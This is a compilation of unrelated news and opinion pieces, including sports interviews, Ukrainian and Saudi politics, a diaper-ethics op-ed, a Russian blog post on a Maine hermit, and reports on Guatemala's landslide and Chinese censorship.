"Javier is my good friend - and I hope he gets lots of chances this season at Manchester United," Vela, who spent seven years at Arsenal without ever establishing himself, told The People.
"He is one of the best finishers in England and deserves chances under the new coach.
"If he plays regularly he will score, so I don't totally understand why a player of his quality has not played more games.
"If he doesn't play regularly he will need to think about leaving.
"You always want to succeed at the biggest clubs - but if he is not given the chance there will be big teams in England and Europe wanting him."
Sociedad are bottom of Champions League Group A after losing their first three games and Vela knows they have little chance of progressing in the competition, but he would love to claim the scalp of United.
He said: "We owe it to our fans to get a good result at home, and to beat Manchester United would be for them as much as for us.
"We understand it is nearly impossible for us to progress, but beating a team like United can really get our season going."If you have never visited the Ukrainian parliament for whatever reason — fear of brawling lawmakers inside or rowdy protests outside — now is the perfect chance to take a digital sneak peak alone.
From now on, Verkhovna Rada has a virtual 3D tour, where visitors can see the main hall, take a closer look at deputies’ workplaces, imagine oneself in the speaker’s role and walk along the lobby.
To see the tour, one needs to access Google Maps in Google Street View and chose the Verkhovna Rada building. Once inside, it is easy to navigate with the help of arrows and level indicators. The tour is accessible from both computers and mobile devices.
This level of virtual openness puts the Verkhovna Rada in the same line with parliaments of Denmark, Canada, Hungary, Israel, the White House in Washington, the United States Congress and other institutions around the world.
Speaker of Parliament Andriy Parubiy invites virtual guests himself.
“Today Verkhovna Rada of Ukraine joins the world’s open parliaments club and invites on a virtual 3D-tour together with Street View technology that is a part of Google Maps,” Parubiy said in a Feb. 24 statement. “Now anyone who is interested may take a virtual trip to the central hall and the lobby of parliament, just the same as in the Israeli Knesset or the United States Congress, and may feel the spirit and mood of the Ukrainian parliament. This policy of openness was the result of cooperation with Google.”
This project was originally Google’s initiative, which was presented to the speaker during his meeting with Doron Avni, Google’s Director of Public Policy & Government Relations for Europe, Middle East & Africa Emerging Markets region.
“Google’s mission is to make information available to users worldwide” Google’s Country manager in Ukraine Dmitry Sholomko said in the statement on Feb. 24. “We are pleased that in cooperation with Verkhovna Rada of Ukraine we were able to implement the project, with the help of which anyone can take a virtual tour of the Ukrainian parliament.”
During the virtual tour, users will have an opportunity to see the “Flag of Independence” – the one that deputies of the first convocation brought into the hall on Aug. 24, 1991. In addition to the flag, there are other “Independence artifacts” — exhibits related to the Ukraine’s yearning for independence.
Kyiv Post social media editor Iryna Savchuk can be reached at sav.iryna@gmail.com.Encountering construction on campus has become a part of the daily routine for pretty much all students trying to make their way through UBC. However, a recent proposal for a $365,000 art installation at University Plaza, the area right outside of The Nest, really calls into question the priorities of the university.
A massive 22 by 100-metre piece by artist Esther Shalev-Gerz, known as “The Shadow” is potentially going to be installed on the surface of the plaza. Many of the existing cement bricks lining the ground will be selectively removed and replaced with 24,000 bricks in a darker shade to resemble the shape of a large Douglas Fir tree. The removed bricks will be used elsewhere on campus.
The biggest issue with this installation is that “ the totality of the tree can only be grasped from a distance,” and “The Shadow requires a view from higher ground to be complete.” People walking through the plaza would not even be able to distinguish what is on the ground, as it would just look as though some of the bricks had been stained. The only place from which people could see the tree properly would be from the upper floor and rooftops of the Alumni Centre and the Nest, both areas which see little foot traffic.
ART SEEN: The Shadow that came for a visit to the University of B.C. https://t.co/XPKx5GtThG pic.twitter.com/EYEl3FzsEv — The Vancouver Sun (@VancouverSun) October 13, 2017
As the project still hasn’t been approved, an open house was held on October 19 at the Alumni Centre, however online feedback and comments are still being accepted by Campus and Community Planning until October 26.
If it is approved, installation would commence in mid-November and finish in mid-January, that is if everything goes according to schedule. During construction of The Shadow, one of the busiest areas of campus would be fenced off. Given all the construction that is going on right now, especially around the bus loop and Nest area, adding more detours would just create another headache for students and staff trying to get around.
Yes, art installations around campus are nice. But when those art installations cost $365,000, disrupt an important area of campus for a long time and aren’t even comprehensible unless you’re viewing it from Google Earth, we really start to question who thought this was a good idea.
Wouldn’t it be better if UBC invested in an art installation that was made through the participation and involvement of students, creating a piece that actually has significance and connections to our community? In all honesty, instead of spending hundreds of thousands of dollars on paving stones which symbolize a tree, couldn’t we just plant a few more trees around campus?
Alirod Ameri is a first-year student studying science.DUBAI: Saudi Arabia on Tuesday announced the formation of a 34-state Islamic military coalition to combat terrorism, according to a joint statement published on state news agency SPA.
“The countries here mentioned have decided on the formation of a military alliance led by Saudi Arabia to fight terrorism, with a joint operations center based in Riyadh to coordinate and support military operations,” the statement said.
A long list of Arab countries such as Egypt, Qatar, the United Arab Emirates, together with Islamic countries Turkey, Malaysia, Pakistan and Gulf Arab and African states were mentioned.
The announcement cited “a duty to protect the Islamic nation from the evils of all terrorist groups and organisations whatever their sect and name which wreak death and corruption on earth and aim to terrorise the innocent.”
Iran, Saudi Arabia's archrival for influence in the Arab world, was absent from the states named as participants, as proxy conflicts between the two regional powers rage from Syria to Yemen.
The United States has been increasingly outspoken about its view that Gulf Arab states should do more to aid the military campaign against the militant Islamic State (IS) militant group based in Iraq and Syria.
Confronting 'any terrorist organisation'
In a rare press conference, 30-year-old deputy crown prince and Defence Minister Mohammed bin Salman told reporters on Tuesday that the campaign would “coordinate” efforts to fight terrorism in Iraq, Syria, Libya, Egypt and Afghanistan, but offered few concrete indications of how military efforts might proceed.
“There will be international coordination with major powers and international organisations... in terms of operations in Syria and Iraq. We can't undertake these operations without coordinating with legitimacy in this place and the international community,” bin Salman said without elaborating.
Asked if the new alliance would focus just on IS, bin Salman said it would confront not only that group but “any terrorist organisation that appears in front of us.”
Saudi Arabia and its Gulf Arab neighbours have been locked in nine months of warfare with Iran-allied rebels in neighbouring Yemen, launching hundreds of air strikes there.
Especially after a rash of attacks on Western targets claimed by IS in recent months, the US has increasingly said it thinks that firepower would better be used against IS.
As a ceasefire is set to take hold in Yemen on Tuesday alongside United Nations-backed peace talks, Riyadh's announcement may signal a desire to shift its attention back toward the conflicts north of its borders.
IS has pledged to overthrow the monarchies of the Gulf and have mounted a series of attacks on Shia Muslim mosques and security forces in Kuwait and Saudi Arabia.Being a goaltender for the Montreal Canadiens might be the worst job in the NHL. Not only are you playing in an extremely hard-to-please market, but the storied histories of those who have tended the net before is the bar you need to reach to be considered great. The past triumphs of Patrick Roy, Ken Dryden, and Jacques Plante are always brought up in comparison to their modern counterparts.
Luckily for Montreal they have Carey Price in net; a man who continues to shatter decades-old records and leads his team both on and off the ice. He is the backbone of the franchise, and with a new long-term deal in hand, it’s clear Marc Bergevin thinks so as well.
There isn’t much to say about Price that hasn’t already been said. He’s won the William M. Jennings and Vezina Trophy for his efforts in goal, the Hart Trophy and Ted Lindsay Award for just how crucial that performance has been to his team, and he will likely add to more to his cabinet before his career is over.
He sits third all time in wins in team history, and with 45 more will take over the top spot from Plante. He is firmly entrenched as the starter in Montreal, and probably will be for at least the next nine years.
Providing backup
With the top job out of reach for the other goaltenders in the organization, their ceiling is set at an NHL backup role. As of right now it looks like Al Montoya will be the squire to Carey Price once more, and as far as backups go, the Big Cubano is more than capable.
In his first season in Montreal, Montoya went 8-6-4 with a.912 save percentage, and for the first time in years fans could watch a start from the team’s number-two netminder without having to hold their breath on every shot. Previous backups like Mike Condon and Peter Budaj had flashes of being solid, but inevitably faded when the pressure was put on them to start a few games in succession.
Montoya is back on a two-year deal, but whether he sees it out to the end in Montreal is up in the air, especially with the emergence of several young goaltending prospects.
Right now, Montreal has three goaltenders in the minor leagues battling out for two spots in the AHL, with the odd man out headed to the Brampton Beast in the ECHL.
Leading this pack is Charlie Lindgren, who, in his rookie season, was nothing short of incredible for the St. John’s IceCaps — and for the Canadiens during his brief call-up at the end of the year. He went 24- |
devastation in the aftermath of Hurricane Katrina he did not just write a check (like Jordan did). Instead he moved his entire company down there to help with the clean up -- even after FEMA said no. Yes, Karl Malone was working 18 hours a day sitting behind the controls of a big logging machine to help move debris after Katrina.
This is giving back. This is what his mother taught him in life. Karl loved his mom greatly, and her death resulted in him pulling himself out of a 3rd Olympics which USA Basketball wanted him for - in 2000. We all know how great Jordan loved his Dad, a victim of gun violence -- Jordan loved his dad so much that he went on to produce ZERO gun safety public service announcements. Food for thought. Well, because this has deviated (in true Utah Jazz form, mind you) from being a pro-Karl Malone piece into an anti-Jordan rant, let's finish it with this statement. Jordan may have won the first two battles against Malone, but if their progeny is any indication, Karl Malone's kids are certainly winning the genetic war against the Jordans. (Karl's daughter is a WNBA champion who has been the MVP of their all-star game, and one of his sons is playing in the NFL -- Jordan's kids have the athletic abilities of Jar-Jar Binks, on the other hand)
Back to the Mailman though -- he destroyed record books, other players, and the hopes and dreams of opposing fanbases. Some fans (like Rockets fan) think he is worse than Hitler or the Devil. I can kind of see where they are coming from, as they are a little butt-hurt over the fact that Malone (in 105 games including the playoffs) has a career scoring average of 24.78 ppg against them. That's a watered down mark, of course, as some of his lowest scoring games against them came as a Laker. Malone was much more than a scorer though, after all, he is 11th all-time in the NBA Steals list, 7th all-time in rebounds and 1st all-time in grizzly bears killed in one-on-one combat.
I can ramble on and on about Karl, but will spare you. Please join in the fun of celebrating Karl's NBA career by sharing your stories and comments below! And remember, Karl Malone was death/time, destroyer or worlds.
Thanks to memoismoney for this vid.
Conan's strength (Conan the Barbarian) +
John Rambo's training and willpower (First Blood) +
Mola Ram's Killer instinct (Temple of Doom)
= Karl Malone (Death, the destroyer of worlds)Kendyl Salcito is the executive director of NomoGaia, a think tank dedicated to helping multinational corporations respect human rights in their global operations.
The invaluable yet lowly diaper was first mass-produced in 1887, a rectangle of oft-soiled, washable cotton fabric unimproved for more than 60 years, until a disposable version appeared. Ever since, the cloth diaper has fought a losing battle against its more convenient (and more aggressively marketed) counterpart. By 1990, more than 70 percent of American babies were wearing disposables; today, it’s more than 95 percent.
Cloth has had a resurgence recently, however, fueled by parents aiming to make environmentally and socially responsible choices in child rearing. “Greener” and “more natural” is how parents on one D.C. online forum described cloth diapers, citing environmental factors, lower long-term costs and the health benefits of putting natural materials against their babies’ skin. One or two admitted that guilt and peer pressure factored into their choices, too.
Katie Anthony, a mother of two and a Seattle-based blogger at KatyKatiKate.com, cloth-diapered for her first baby but crossed over for her second, lamenting, “When you pull the Diaper Genie bag out of the pail, and you just see this blue plastic tube full of NASA-invented synthetic fibers that are soaked in human waste, and it’s just this foul little sausage, there’s a part of me that is really sad.”
But those bad old disposable diapers may be better than the allegedly green alternatives.
Although there is a growing market for all-in-one reusable diapers made from synthetics, most cloth diapers are still cotton prefolds — rectangles of fabric that fit into waterproof liners. And as a crop and a fabric, cotton undermines its own reputation as safe and green. Safety, a concern raised for some by chemicals and dyes in disposables, is in the eye of the beholder; cotton production is so chemical-intensive that it has been directly linked to poor health outcomes among producers.
As for environmental friendliness, the data on cotton is damning. And if “better for the planet” includes notions of what’s better for its inhabitants, there is a social dimension of cotton diapers that is unequivocally more harmful than disposables. Cotton fertilizers are major greenhouse gas emitters, and trucking cotton from farms to industrial gins, spinners and weavers generates transportation emissions, compounded by repeated energy-intensive heating and cooling processes.
Stephanie Hanson, a policy communications director at a Washington environmental nonprofit, went so far as to investigate her cloth diaper service’s delivery processes, to make sure the vehicles were fuel-efficient. “That was important to me, as I didn’t want the environmental benefits [of cloth diapering] to cancel out from the service,” she said. Yet the carbon footprint of prefolds, estimated at 570 kg of CO2 equivalent over 2 1/ 2 years in laundering alone, outweighs that of disposables, at 550 kg of CO2 equivalent.
Hanson was also concerned about water usage in laundering cloth diapers, but with cotton, the water inputs add up before they’re ever washed. Cotton is an extremely thirsty crop. Although roughly 30 cloth diapers serve the function of 4,000 disposables, cloth’s water demands are almost nine times the alternative. Thirty cloth diapers draw an estimated 1,221 cubic meters of water in crop irrigation, processing, weaving, manufacturing and 2 1 / 2 years of washings. Meanwhile, the water used to manufacture those 4,000 disposables comes in at a comparatively modest 141 cubic meters.
Then there’s the water that cotton pollutes, as one of the world’s most pesticide-heavy crops. In India, cotton covers 5 percent of cropland, but it’s doused with 54 percent of the nation’s annual pesticide use. These pesticides seep into the groundwater and eventually make it back to consumers — in their tea, soda and drinking water.
The industry also has a painful and persistent history of exploitation. In the world’s top cotton-producing countries — China, India, the United States, Pakistan, Brazil and Uzbekistan — the crop has been linked to supplier price gouging, food insecurity and forced labor.
This is not to say disposables get a perfect score on environmental or social impacts. Today’s disposables are made largely of plastics and super-absorbent polymers, both petroleum products. The world’s plastic demand is so great that though polymers and plastics once were byproducts of fuel, now novel production processes are dedicated to making them. Disposable diapers in the United States end up almost exclusively in landfills, where they emit methane, a greenhouse gas 20 times more potent than carbon dioxide.
Some disposable brands, such as Honest Co. and Seventh Generation, claim to address this concern by selling unbleached, compostable diapers. Unless parents are composting them at home, though, these “eco-friendly” disposables are as culpable as Pampers for greenhouse gas emissions from municipal waste facilities. Seventh Generation users may be particularly disappointed to learn that the earthy color of their diapers is achieved with dyes.
But recent improvements to standard disposables shift the ecological balance in their favor. Companies have dramatically reduced the quantity of petroleum products and pine-pulp “fluff” in disposable diapers, cutting the use of forest products and landfill volume. Environmental Protection Agency partnerships are converting methane to energy and fuel at about a third of the nation’s landfills, with plans to upgrade more. Plus, Pampers and Huggies manufacturers are sourcing all of their trees from certified, responsibly managed forests. Huggies has piloted a diaper composting initiative in New Zealand that is now expanding across Europe and Australia. Not to be outdone, Pampers has reduced manufacturing waste by 78 percent, CO2 emissions by 9 percent, energy consumption by 8 percent and water consumption by 4 percent in the past five years, according to Heather Valento, a spokeswoman for parent company Procter & Gamble.
If the environmental improvements related to disposables don’t influence cotton-diaper fans, perhaps the labor conditions for disposable-diaper manufacturing will. Pampers and Huggies are subsidiaries of mega-corporations Procter & Gamble and Kimberly-Clark, respectively. Manufacturing is U.S.-based, and both companies’ workforces make wages above the national minimum, with salaries starting at more than $11 an hour. In Cape Girardeau, Mo., and Mehoopany, Pa., where Pampers are manufactured, wages plus the company’s benefits packages can support two adults, according to MIT’s living-wage calculator. (Huggies did not furnish details on the locations of its manufacturing facilities or the nature of its benefits.)
Whether new parents opt for cloth or disposable diapers, though, the good news is that both are increasingly responsible choices for consumers, the planet and the people in the supply chain. Huggies and Pampers are in a race to improve their social and environmental records, and cotton-diaper makers are slowly, unsteadily adopting a similar trend.
While the production of conventional cloth diapers is nearly impossible to trace, responsible purveyors are advertising ethical certifications. GOTS, the Global Organic Textile Standard, certifies cotton manufacturing processes as organic while also requiring that labor conditions are favorable for workers and that air and water emissions meet stringent standards. Audits are notoriously tricky, but at the very least consumers can know that a cloth-diaper supplier is striving to eliminate child labor, forced labor, harmful pesticide usage and wasteful irrigation practices. Supporting the efforts to increase transparency and accountability in the cotton supply chain might be a real reason for anti-waste parents to stick with (socially responsible) cloth options. The textile and clothing industries are important components of economic development, and consumers who demand safe conditions and fair wages for farmers and industrial workers could help ensure that such development benefits everyone, not just wealthy factory owners.
Other opportunities to be a responsible global citizen are surfacing in the all-in-one diaper market. Cotton Babies, the maker of bumGenius diapers, runs a 70-person packing facility in St. Louis where employees are paid living wages, can bring their babies to work and get 26 days of paid leave a year. Chief executive Jennifer Labit started Cotton Babies with $100 after losing her programming job in the early-2000s tech bubble. The company she built created more than 300 U.S. jobs and provides, through charity work, an estimated 3.2 million free diaper changes for parents on welfare, who are loaned used bumGenius diapers. Its 250-person subcontracted assembly facility in Denver doesn’t provide wages or benefits akin to those at Pampers or Huggies, but it does seek environmental and social improvements for everything from raw materials to the diapers themselves. And the largely synthetic all-in-ones do not contribute to the social and environmental footprint of cotton (bumGenius’s cotton-insert diapers use GOTS and Oeko-Tex certified cotton).
Parents trying to do the right thing for the planet and humanity might consider pushing synthetic all-in-one producers to increase their prices to let benefits directly reach manufacturing workers. Cotton Babies audits supplier facilities domestically and abroad, but Labit confesses, “There’s only so much that I control.” But until business growth enables Cotton Babies and like-minded companies to leverage authority over suppliers, and until high-end consumers agree to pay more for premium diapers to ensure worker welfare, disposables may still be the more ethical and convenient diaper choice.
Twitter: @Nomogaia
Read more from Outlook and follow our updates on Facebook and Twitter.CALGARY
The antics of so-called Freemen on the Land are becoming increasingly apparent, says the province’s Justice Minister.
And the province’s law enforcement system is still working on ways to minimize the impact of the sovereigntists who spurn legal, government and corporate authority, said Jonathan Denis.
“We’re certainly hearing more about it,” said Denis.
“The Crown and Justice department are alive to these issues … I’m still finding time to address them.”
But officials in Denis’s department say they’re reluctant to even discuss the Freemen, for fear the movement will feed off the publicity.
And Denis said he’s loath to go into any details on how authorities are planning to further deal with the movement, adding it “might actually dilute” or weaken those efforts.
But the sovereigntist phenomenon isn’t new, noted Denis, and its presence has spurred a number of responses to it, particularly its legal maneuverings involving real estate and lawsuits.
Critics have called the tactics “paper terrorism” designed to clog the courts.
“We do have an approach that’s fairly successful in vexatious litigation, or someone who’s abusing the court system,” he said.
“You’re not allowed to file anything without taking leave.”
In a recent Calgary case, a self-professed Freeman on the Land lodged $17,000 in liens against his landlord’s northwest duplex.
Provincial officials are still sorting out the legality of that filing.
But Denis said provisions in the Builders Lien Act already provide remedies to that.
“Filing a false affidavit is an offence,” he said.
An Edmonton court case last year involving a Freeman’s divorce battle is seen by some as a possible watershed in dealing with the movement’s disregard of the law.
Court of Queen’s Bench Justice John Rooke shredded Dennis Larry Meads’ argument that the law wasn’t applicable to him — but added the exercise was useful.
“Mr. Meads’ submissions also make an excellent subject for a global review of the law concerning (the Freeman) community and its gurus, and how the court, lawyers, and litigants should respond to these vexatious practices and the persons who advance and advocate these techniques and ideas,” he wrote in a lengthy ruling.
But Denis said it’s also the public’s duty to perform due diligence to avoid Freemen-engineered legal quagmires.
“The vast majority of Albertans are law abiding, but get everything in writing, please,” he said.
The most common Freeman offence detected in Calgary is driving without proper authorization, said city police Staff Sgt. Julien Gagne.
Encounters with such offenders, he said, are unique in that officers are told the law is irrelevent — to little effect.
“They try to say they don’t fall under the laws we’ve got to enforce but that’s not reality,” said Gagne.
“It can set up for a confrontation.”
Police, said Gagne, have been instructed in the extreme libertarian Freemen ideology “so we know what we can be dealing with.”
But he said there’s nothing new in that philosophy that’s spanned numerous anti-government groups.
“It’s an ideology that’s been in existence for over 40 years,” he said.
“I don’t think it’s going to gain much momentum.”This journal has been placed in memorial status. New entries cannot be posted to it.
Location: Москва, Новинский бульвар, дом 25 корпус 1 27 лет одиночества: подлинная жизнь Кристофера Найта Пару месяцев назад в американском издательстве Knopf Doubleday вышла книга репортёра Майкла Финкеля The Stranger in the Woods. В ней рассказывается история Кристофера Томаса Найта, американского социофоба, который в 1986 году, в двадцатилетнем возрасте, в один прекрасный день вдруг уволился со своей первой и последней работы (установщика бытовых систем охранной сигнализации), и удалился в глухие леса штата Мэн.
Решение стать отшельником пришло к Найту внезапно, и уходя в лес, юноша не взял с собой даже удочки или перочинного ножа, но в последующие годы он ни разу не пожалел об этом своём поступке. То есть буквально 27 лет, с 1986 по 2013 год, этот парень прожил совершенно один в глухих лесах на севере Восточного побережья, ни с кем не общаясь, нигде не работая, не занимаясь вообще ничем, кроме заботы о собственном жизнеобеспечении и… чтения книг. Книги он брал там же, где и еду, и одежду, и батарейки: воровал с дачных участков и турбаз, разбросанных по берегам озёрного края в глухих лесах штата Мэн, примерно в 30 милях от дома, где он родился и вырос. Воровство серьёзно противоречило убеждениям молодого человека, и при каждом взломе он испытывал сильнейшие угрызения совести. Но первую кражу он совершил буквально чтобы не умереть с голоду, и впоследствии на эти действия его толкал тоже голод. В среднем, чтобы прокормиться в глухих лесах озёрного края, Найт совершал около 40 краж в год.
Все эти годы о нём ничего не знали его родители, наниматель и государство. Полиция и дачники штата Мэн давно догадались, что в окрестностях Северного пруда обитает существо, ворующее припасы, но поймать его не могли: искусством заметать следы Найт владел в совершенстве, а перед любой кражей со взломом несколько дней следил за объектом, чтобы убедиться в отсутствии жильцов. Время от времени владельцы дач, куда он забирался, пытались установить с ним контакт: они оставляли ему ручку и бумагу, чтобы он составил список нужных ему предметов (как сказать по-русски shopping list?), или вывешивали продукты на дверной ручке снаружи коттеджа, чтобы вору не пришлось ломать замок. Некоторые вообще оставляли дома не запертыми, резонно полагая, что, кроме Найта, чужие здесь не ходят. Впрочем, наш отшельник оставался убеждённым социофобом и игнорировал все предложения контакта, так что с годами они прекратились. Единственным живым человеком, с которым Найт повстречался за 27 лет жизни в лесу, был одинокий турист, совершавший прогулку в окрестностях Северного пруда; столкнувшись однажды утром на лесной тропе, мужчины поздоровались, и пути их разошлись навсегда.
Покуда Кристофер Найт предавался одиночеству в глухом лесу, человечество совершенствовало те самые системы, установкой которых он до 1986 года зарабатывал себе на жизнь. И полицейские озёрного края упорно внедряли новинки этой техники на каждом объекте, с которого кормился лесной житель — с таким же азартом, с каким гаджетоманы спешат установить на свой смартфон последнюю бету Андроида или iOS. В 2013 году они нашпиговали подсобные помещения турбазы Pine Tree Camp (куда Найт регулярно наведывался в отсутствие персонала и постояльцев) сенсорами новейшей системы, предназначенной для охраны канадской границы от проникновения нелегалов в любую сторону. Систему эту полицейские штата вымутили по знакомству у погранцов, она в ту пору была ещё в тестовой эксплуатации, но известно было, что в ней задействованы самые мощные сенсоры, когда-либо использовавшиеся для сторожевой нужды. И 4 апреля 2013 года, во время очередного набега на туристический кемпинг Pine Tree Camp, эти сверхчувствительные сенсоры засекли появление Кристофера Томаса Найта на кухне и в столовой поставленного на сигнализацию озёрного лагеря. Подоспевший патруль арестовал отшельника, не оказавшего властям никакого сопротивления.
В ходе судебного следствия было установлено, что за время жизни в лесу Кристофер Томас Найт совершил больше тысячи краж со взломом, добывая себе книги и пропитание. Возможно, он этим заработал себе место в книге рекордов Гиннеса — но ни суду, ни прокуратуре штата Мэн не пришло в голову наказывать его по всей возможной строгости закона. 28 октября 2013 года Кристофер Найт был приговорен к 7 месяцам тюрьмы (которые к тому моменту уже успел отбыть в предварительном заключении) и к выплате компенсации в 1500 долларов жертвам своих налётов. При назначении приговора судья Нэнси Миллз отметила, что действия подсудимого были продиктованы суровой жизненной необходимостью, а не преступным умыслом, так что после прохождения трёхлетней программы реабилитации нет оснований ожидать, что он возьмётся за старое…
На протяжении всего периода предварительного заключения журналист Майкл Финкель навещал Кристофера Найта в тюрьме. Результатом их 14 длинных бесед стал сперва большой репортаж для GQ, а затем и отдельная книга The Stranger in the Woods, вышедшая 7 марта. Большой авторский конспект этой книги можно прочитать в The Guardian. А в литературном блоге Literary Hub Финкель на днях опубликовал рейтинг книг об одиночестве и отшельничестве, составленный Найтом (русский пересказ Льва Оборина — в издании «Горький»). Пожалуй, нет ничего удивительного в том, что среди книг, которые Найт воровал с дач и турбаз, вместе со снедью и батарейками, наибольший интерес у него вызывали именно сочинения отшельников разных эпох — от китайца Лао Цзы до нашего Фёдора Михайловича. Именитых соотечественников, в разное время баловавшихся одиночеством в лесу — Генри Дэвида Торо, Ральфа Уолдо Эмерсона и Роберта Фроста — отшельник тоже изучил, но из англоязычных авторов высоко оценил лишь Эмили Дикинсон. Зато «Записки из подполья» удостоились его наивысшей оценки по десятибалльной шкале: в антигерое повести Достоевского Кристофер Томас Найт узнал самого себя.
SubscribeImage copyright Reuters Image caption The hillside collapsed late on Thursday 1 October, burying 125 homes under tonnes of mud
Guatemalan President Alejandro Maldonado has announced that his government will build homes for the survivors of a landslide which buried some 125 houses last week.
More than 200 people were killed when a hillside collapsed on a neighbourhood in Santa Catarina Pinula.
Hundreds more were left homeless.
President Maldonado said his government would be "directly in control" of building the homes and would not sub-contract the work.
Rising death toll
It is not yet clear where the new houses will be built, as the area where the mudslide hit has been declared uninhabitable.
An estimated 300 people are still missing presumed dead after the mudslide buried homes under tonnes of dirt in the El Cambray 2 neighbourhood,
The number of confirmed dead rose to 215 on Wednesday as more bodies were found.
Image copyright Reuters Image caption The recovery of the bodies has been slow as some homes were buried 25m (82ft) deep in mud
"The whole government is committed to getting this done as soon as possible," President Maldonado said of the efforts to provide the more than 350 people still living in shelters with new homes.
Guatemala's Congress has approved $2.6m (£1.7m) in funds to help the victims.
Education Minister Ruben Alfonso Ramirez Enriquez said classes were still suspended in the local school as pupils had been affected "emotionally and psychologically" by the disaster.
The school building is currently being used as a shelter for those left homeless.
Perilous location
An official investigation is under way to determine why houses where built in El Cambray 2 even though Guatemala's National Disaster Reduction Commission (Conred) had warned as early as 2009 that the area was at risk of collapse.
Image copyright AFP Image caption School has not yet resumed in the area, with many pupils traumatised by what happened
The middle-class neighbourhood was built at the bottom of a steep hillside next to a river.
Conred said its most recent warning came in November 2014, when it alerted local authorities to the fact that the river was eroding the base of the hill, making the hillside very unstable.
However, residents said they had not been made aware of the risks.Pa. House passes 'In God We Trust' bill
Erik Arneson, a spokesman for Senate Majority Leader Dominic Pileggi (R., Delaware) said that the chamber would review the bill, but that there was no timetable for passage.
The bill, approved by a 172-24 vote, now goes to the state Senate for consideration.
The House on Monday passed a bill expressly allowing - but not requiring - school districts in Pennsylvania to post the words "In God We Trust" on school buildings.
School districts are not forbidden to display the motto now, but as the bill sponsor Rep. Rick Saccone (R., Allegheny) explained it, many are afraid to do so lest they invite controversy or a lawsuit.
Under the original measure, which generated controversy in the fall, all 500 school districts statewide would have been required to display the words prominently in some fashion in every school.
Andy Hoover, legislative director of the American Civil Liberties Union, which objected to the original bill, said the House did the right thing by removing the mandate language so schools would not be forced by law to post the phrase.
But, he said, the legislation does not guarantee there will be no challenges.
"A blessing from the state House doesn't make it constitutional," Hoover said. "Schools that post it will certainly face First Amendment challenges."
Rep. Michael H. O'Brien, a Philadelphia Democrat, called the vote "an act of silliness."
The vote came on legislators' first day back in session and at the start of a crucial month.
O'Brien said the House was focusing too much time on moving religion-related bills when it ought to be concentrating on the state budget, which must be approved by the end of the month.
"This is a slow and steady step toward theocracy," he said. "We should deal with the budget, a fair and equitable Godlike budget."
The national motto has Pennsylvania roots.
Former Pennsylvania Gov. James Pollock put the words "In God We Trust" on coins in 1864 as director of the U.S. Mint.
The phrase was adopted as the national motto in 1956 under an act signed by President Dwight D. Eisenhower.
The amended version of the state House bill also would give school districts permission to post the Bill of Rights in schools.
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©2014 The Philadelphia Inquirer
Distributed by MCT Information ServicesTuesday passed a bill which simplifies labour procedures for establishments employing up to 40 workers.
Moving the Labour Laws (Exemption from Furnishing Returns and Maintaining Registers by Certain Establishments) Amendment Bill, 2011 Labour Minister Bandaru Dattareya said the main purpose of the amendment is simplification of laws.
"The main purpose of this amendment is simplification. There is no exemption for any establishments. Our prime minister is always insisting that our main job is trnasprency, accountability and proper enforcement," he said, adding the bill has been brought to provide relief to small and medium establishments.
The bill amends the Labour Laws (Exemption from Furnishing Returns and Maintaining Registers by Certain Establishments) Amendment and Miscellaneous Provisions Act, 1988, which defines "small establishments" as any place which employs between 10 and 19 people on any day of the preceding 12 months. A "very small establishment" is a place that employs nine or less people.
The bill amends the definition of "small establishment" to cover establishments that employ between 10 and 40 people.
Under the existing act, these establishments are exempted from furnishing returns and maintaining registers under certain labour laws. Small establishments are also exempted from furnishing returns and maintaining registers under certain laws such as the Payment of Wages Act, 1936; the Weekly Holidays Act, 1942; Minimum Wages Act, 1948; the Factories Act, 1948; and the Plantations Labour Act, 1951. Instead, they are required to furnish returns and maintain registers in a specified format.The following censorship instructions, issued to the media by government authorities, have been leaked and distributed online. The name of the issuing body has been omitted to protect the source.
Don’t report or comment on the matter of the Red Yellow Blue New World Kindergarten in Beijing’s Chaoyang district. (November 24, 2017) [Chinese]
Chinese authorities announced a nationwide investigation into conditions at childcare facilities on Friday following public outcry at claims that children at a Beijing kindergarten were intimidated, drugged with pills and needles, forced to strip naked, or sexually abused. Rumors of military involvement—the school is adjacent to a base, and its director is married to a former military official—have further agitated the public. Shares in the kindergarten’s NASDAQ-listed operator, RYB, have dropped almost 40%. The news follows earlier cases of abuse in RYB kindergartens in Jilin and Beijing, as well as a more recent scandal at a Shanghai daycare run by the travel company Ctrip. Public outrage was already high over the Ctrip case, which was the subject of no fewer than four leaked directives obtained and published by CDT.
The Guardian’s Tom Philips described initial coverage of the RYB case, as well as its sudden suppression:
“For two days my daughter has been crying: ‘I’m not sick, so why give me shots?’” one mother told China Women’s News, a party-run newspaper. Another parent claimed children had been told to take two white tablets each day after lunch, for reasons that are unclear. “Disobedient students were also forced to stand naked or were locked up in a dark room at the kindergarten,” a third parent told the magazine Caixin. “I am trembling with anger now,” a fourth parent was quoted as saying by the Beijing News on Thursday as relatives gathered outside the nursery to demand access to CCTV footage that might confirm the abuse. […] Strikingly, after two days of high-profile coverage in China’s party-controlled press there was virtually no mention of the scandal in Beijing’s main newspapers on Friday morning. That suggested propaganda officials – nervous about the potential for a political backlash from China’s middle-classes – had ordered newsrooms to dial back their reporting. [Source]
Foreign Policy’s James Palmer, formerly an editor at the state-owned Global Times, and NPR’s Rob Schmitz discussed the drop in coverage on Twitter:
It will also be cycled out of the news in a few days at most – one of the reasons no impetus for change/civil society is created from these scandals and disasters is because even if too big to ignore initially they're purged later — James Palmer (@BeijingPalmer) November 24, 2017
like, imagine if Tianjin blast had happened in open society – there would have been months of it in top coverage and years of fallout. Contrast the Sewol disaster, which had a major impact on SK politics and thinking. — James Palmer (@BeijingPalmer) November 24, 2017
I generally agree, but I think incidents like this that victimize children (milk scandal, Wenzhou crash 2 y/o, Foshan's Yue Yue) have a greater potential of becoming bigger news events in China due to severity of public outrage involved. — Rob Schmitz (@rob_schmitz) November 24, 2017
What’s On Weibo’s Manya Koetse and Miranda Barnes described how parents’ accusations, including allegations of rape by a supposed doctor, gained momentum before information controls kicked in:
